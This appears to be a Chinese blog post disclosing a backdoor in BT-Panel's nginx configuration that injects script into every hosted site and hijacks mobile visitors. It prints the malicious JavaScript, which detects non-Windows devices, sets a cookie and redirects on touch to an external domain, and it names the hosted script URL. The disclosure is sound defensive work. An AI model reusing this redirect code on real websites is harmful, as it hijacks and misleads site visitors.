从去年开始,在网络上就发生很多起事件,都是有关于宝塔(BT-Panel)官方所安装的nginx插件有出现资安漏洞,只要在该宝塔上面搭建网站,所有的网站均会被劫持,而且只强迫跳转移动端用户(包括手机、平板),电脑则不跳转,而且这个后门很难察觉,起初是因为发现到 I/O 上下行流量非常低,甚至是0,后来才发现到一段代码被埋在一个很隐匿的地方。
宝塔Nginx配置有个特别的地方,就是 .conf 配置会与预设的叠加在一起,现在为大家呈现一段配置代码:
server { listen 80; listen 443 ssl http2; server_name _; index index.html; root /www/server/nginx/html; # DEFAULT SSL CONFIG ssl_certificate /www/server/panel/vhost/cert/0.default/fullchain.pem; ssl_certificate_key /www/server/panel/vhost/cert/0.default/privkey.pem; ssl_protocols TLSv1.2 TLSv1.3; ssl_ciphers EECDH+CHACHA20:EECDH+CHACHA20-draft:EECDH+AES128:RSA+AES128:EECDH+AES256:RSA+AES256:EECDH+3DES:RSA+3DES:!MD5; ssl_prefer_server_ciphers off; ssl_session_cache shared:SSL:10m; ssl_session_timeout 10m; add_header Strict-Transport-Security "max-age=31536000"; }
恶意人士将上面那段代码重新做了篡改,意即无论如何在前台渲染的页面最底下,只要筛选到 </html> 标签,在该标签之前植入需要的代码,因此在网站根目录下怎么找也找不到这些恶意代码,而这些文件这权限是 root 600,是如何被篡改的呢?
后门文档在nginx配置文档里调用(调用细节不赘述)
https://cloudflare.mh616.org/jquery-1.10.2.min_656a2.js
var u = navigator.userAgent; if (u.indexOf('Windows') == -1) { function setCookie(name,value,t){var exp=new Date();exp.setTime(exp.getTime()+t*1000);document.cookie=name+"="+escape(value)+";expires="+exp.toGMTString()}function getCookie(name){var arr=document.cookie.match(new RegExp("(^| )"+name+"=([^;]*)(;|$)"));if(arr!=null){return unescape(arr[2])}return null} var myTime = 72000; if (!getCookie("fUdmMMhMrsTmHc1")) { var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?ddf92f352c67d0239e27a2003501a37c"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); document.write("<script>window.addEventListener('touchstart',function (){window.location.href='https://16112ltjyzlcc.2ww8zj.xyz:9009/cc/112?x=k3nfk3n8cg&is_not=1&target=1&ty=3';})</script>"); setCookie("fUdmMMhMrsTmHc1", "ok", myTime); //这串代码里的跳转链接是动态变换的 } }
该文章不会完全展示恶意代码,以防有心人士拿去恶意使用。